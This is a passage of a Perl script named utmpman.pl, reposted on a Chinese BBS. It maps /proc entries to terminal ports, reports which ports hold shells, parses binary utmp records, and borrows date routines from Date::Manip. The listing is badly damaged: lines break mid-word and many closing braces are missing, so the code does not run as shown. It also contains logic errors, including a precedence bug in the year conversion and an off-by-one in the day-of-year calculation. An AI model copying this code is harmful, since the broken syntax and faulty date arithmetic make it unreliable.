foreach (grep(/\d+/, readdir(PIDDIR))) { 
local($procdata, $cmdline); 
open(PROCFILE, "</proc/$_/stat");
$procdata = <PROCFILE>; 
close(PROCFILE); 
if (-e "/proc/$_/stat") { 
local($cmdline, $devnum, $portid); 
($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; 
# Remove surrouding () from command name. 
$cmd =~ s/[\(\)]//g; 
$portid = dev2id(\%ports, $devnum); 
if (defined($portid)) { 
push(@portprocesses, $portid) 
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); 
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ !=
 $_)); 



close(PIDDIR); 
# A port is *not* logged in if there is no dev entry for port, no utmp
 entry 
# and no active processes. 
my(@validshellports) = (); 
foreach (sort( { $a <=> $b} keys(%processes))) { 
push(@validshellports, %{$processes{$_}}->{"port"}) 
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& 
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); 

# Remove ports with valid shells from list of ports with active proces
ses. 
my(@noshellports) = 
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses)); 

@validshellports = sort(@validshellports); 
print "Ports with active /dev files: @logdev\n" 
if (defined(@logdev)); 
print "Ports with utmp entries: @logutmp\n" 
if (defined(@logutmp)); 
print "Ports with valid shells: @validshellports\n" 
if (defined(@validshellports)); 
print "Ports with active processes and *no* shells: @noshellports\n" 

if (defined(@noshellports)); 




# GENERAL 
sub readfile { 
local($file); 
$file = shift; 
my($index)=1; 
my($buffer)=""; 
# Insure we have a clean hash table before we start reading in the fil
e. 
foreach (keys(%entries)) { 
undef(%{$entries{$_}}); 
delete(${entries{$_}}); 


open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n")
;
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n
");
close(UTMPFILE);
}

sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;

$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef, 
"time" => undef, "user" => undef, "host" => undef, "addr" => undef 
}, 'UTMPNODE'; 

@{$newnode}{qw(type pid line id time user host addr)}= 
unpack("i L a12 a4 L a8 a16 a4", $newbuff); 

return $newnode; 


sub newport { 

$newnode = bless { 
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, 
}, 'PORTNODE'; 

@{$newnode}{qw(port rdev owner)} = @_; 

return $newnode; 


sub newproc { 

$newnode = bless { 
"cmd" => undef, "port" => undef, 
}, 'PROCNODE'; 

@{$newnode}{qw(cmd port)} = @_; 

return $newnode; 


# Renumber hashes to default order. 
sub resync { 
my(%newhash) = (); 
my($count)=0; 
# Write ordered list in to temporary hash, deleting as we go. 
foreach (sort( {$a <=> $b} keys(%entries))) { 
$newhash{++$count} = $entries{$_}; 
delete($entries{$_}); 

# Copy elements back in to original hash table. 
foreach (sort( {$a <=> $b} keys(%newhash))) { 
$entries{$_} = $newhash{$_}; 



sub longtodot4 { 
my($addr)=shift; 
return join(".", map( ord($_), split(//, $addr))); 

sub dev2id { 
my($portlist, $rdev) = @_; 
foreach (sort(keys(%{$portlist}))) { 
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); 

return undef; 


sub listpos { 
my($arrayref, $search) = @_; 
my($count) = 0; 
$^W = 0; 
foreach (@{$arrayref}) { 
return $count if ($search eq ${$arrayref}[$count]); 
$count++; 

$^W = 1; 
return undef; 


### DATE ROUTINES 
# The following code taken & modified from the Date::Manip package. 
# Here is his copyright: 

## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. 
## This program is free software; you can redistribute it and/or modif
y it 
## under the same terms as Perl itself. 

sub SecsSince1970 { 
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]] 
my($datetime) = shift; 
my($m,$d,$y,$h,$mn,$s) = (); 
# If date is not defined, then return local current date and time. 
return time() if (!defined($datetime)); 
$datetime =~ 
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?
)?!!; 
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); 
$m--; 
# Finalize time components and check them. 
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is
such
# an animal, then there is illegal data specified. Also screens for un
defined
# components which HAVE to be in ANY valid date/time (ie, month, day,
year).
return undef if (!defined($m) || !defined($d) || !defined($y) || lengt
h($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59)); 


# Begin conversion to seconds since 1/1/70. 
my($sec_now,$sec_70)=(); 
$sec_now=DaysSince999($m,$d,$y); 
return undef if (!defined($sec_now)); 
$sec_now--; 
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; 
$sec_70 =30610224000; 
return ($sec_now-$sec_70); 


sub DaysSince999 { 
my($m,$d,$y)=@_; 
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); 
my($cc,$yy)=(); 
$y=~ /^(\d{2})(\d{2})$/; 
($cc,$yy)=($1,$2); 
# Number of full years since Dec 31, 0999 
$Ny=$y-1000; 
# Number of full 4th years (incl. 1000) since Dec 31, 0999 
$N4=int(($Ny-1)/4)+1; 
$N4=0 if ($y==1000); 
# Number of full 100th years (incl. 1000) 
$N100=$cc-9; 
$N100-- if ($yy==0); 
# Number of full 400th years 
$N400=int(($N100+1)/4); 
# Check to insure that information returns a valid day of year. 
$dayofyear=dayofyear($m,$d,$y); 
return undef if (!defined($dayofyear)); 
# Compute day of year. 
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; 
return $days; 


sub dayofyear { 
my($m,$d,$y)=@_; 
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); 
my($daynum,$i)=(); 
$daysinmonth[1]=29 if (!($y % 4)); 
# Return error if we are given an invalid date. 
return undef if ($d > $daysinmonth[$m]); 
$daynum=0; 
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;

return $daynum;
}

## END DATE ROUTINES.

# End of script.
0;
--------------------- end of utmpman.pl

--
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.243.142]

[关闭][返回]